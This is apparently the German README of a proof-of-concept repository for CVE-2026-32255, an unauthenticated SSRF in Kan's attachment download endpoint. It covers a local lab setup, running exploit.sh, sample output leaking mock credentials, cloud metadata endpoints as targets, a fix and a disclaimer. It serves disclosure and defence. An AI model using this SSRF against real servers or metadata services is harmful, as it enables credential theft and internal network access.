
Dieses Repository enthält einen Proof of Concept (POC) für CVE-2026-32255, eine Server-Side Request Forgery (SSRF)-Schwachstelle mit hohem Schweregrad in Kan, einem Open-Source-Projektmanagement-Tool.
Dieses Repository enthält einen Proof of Concept (POC) für CVE-2026-32255, eine Server-Side Request Forgery (SSRF)-Schwachstelle mit hohem Schweregrad in Kan, einem Open-Source-Projektmanagement-Tool.
Der verwundbare Endpunkt erlaubt es nicht authentifizierten Angreifern, beliebige HTTP-Anfragen vom Server aus zu senden und die vollständige Antwort zu lesen, wodurch Zugriff auf interne Dienste und Cloud-Metadaten-Endpunkte ermöglicht wird.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NDie Datei apps/web/src/pages/api/download/attatchment.ts stellt einen GET /api/download/attatchment-Endpunkt bereit, der als Proxy für Anhangs-Downloads aus dem S3-Speicher dient. Der Endpunkt akzeptiert einen benutzergesteuerten url-Query-Parameter und übergibt ihn direkt an fetch() serverseitig, ohne jegliche Validierung oder Authentifizierung:
const upstream = await fetch(url); // no validation on `url`
Ein Angreifer kann eine beliebige URL angeben, wodurch der Server eine HTTP-Anfrage an dieses Ziel sendet und den vollständigen Antworttext an den Client zurückgibt. Dies ist ein SSRF mit vollständigem Lesezugriff (nicht blind), was bedeutet, dass der Angreifer den gesamten Antwortinhalt lesen kann.
http://169.254.169.254/ bei AWS/GCP)Klonen und starten Sie Kan v0.5.4 (die letzte verwundbare Version):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Konfigurieren Sie die erforderlichen Umgebungsvariablen:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Hinweis: Wenn Sie einen Fehler bezüglich
dokploy-networkerhalten, entfernen Sie diedokploy-network-Referenzen ausdocker-compose.yml(Zeilen 9, 130-131) und führen Siedocker compose up -derneut aus. Dieses Netzwerk wird lokal nicht benötigt.
Starten Sie die Container:
docker compose up -d
Die Anwendung sollte unter http://localhost:3000 verfügbar sein.
Starten Sie in einem separaten Terminal den enthaltenen Mock-Internen-Dienst, der eine sensible interne API simuliert:
python3 internal-service.py
Dies startet einen Server auf Port 8888, der gefälschte Anmeldedaten zurückgibt und einen Dienst simuliert, der nur aus dem internen Netzwerk erreichbar sein sollte. In einem realen Szenario wäre dieser Dienst hinter einer Firewall isoliert und von außen nicht erreichbar. Die SSRF ermöglicht es dem Angreifer, ihn über den Server zu erreichen.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: Basis-URL der Kan-Instanz (z. B. http://localhost:3000)[internal-url]: Interne URL, die per SSRF abgerufen werden soll (optional, wird automatisch über das Docker-Bridge-Gateway erkannt)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Aktualisieren Sie auf Kan v0.5.5 oder neuer, das den url-Parameter vor dem Proxy der Anfrage gegen den konfigurierten S3-Endpunkt-Hostnamen validiert.
Wenn Sie nicht sofort aktualisieren können, blockieren Sie den externen Zugriff auf den verwundbaren Endpunkt auf Ebene Ihres Reverse-Proxys.
Dieser Proof of Concept wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Der Autor ist nicht verantwortlich für jeglichen Missbrauch der in diesem Repository bereitgestellten Informationen oder Tools. Unautorisierter Zugriff auf Computersysteme ist illegal.
Entdeckt von: kOaDT ([email protected])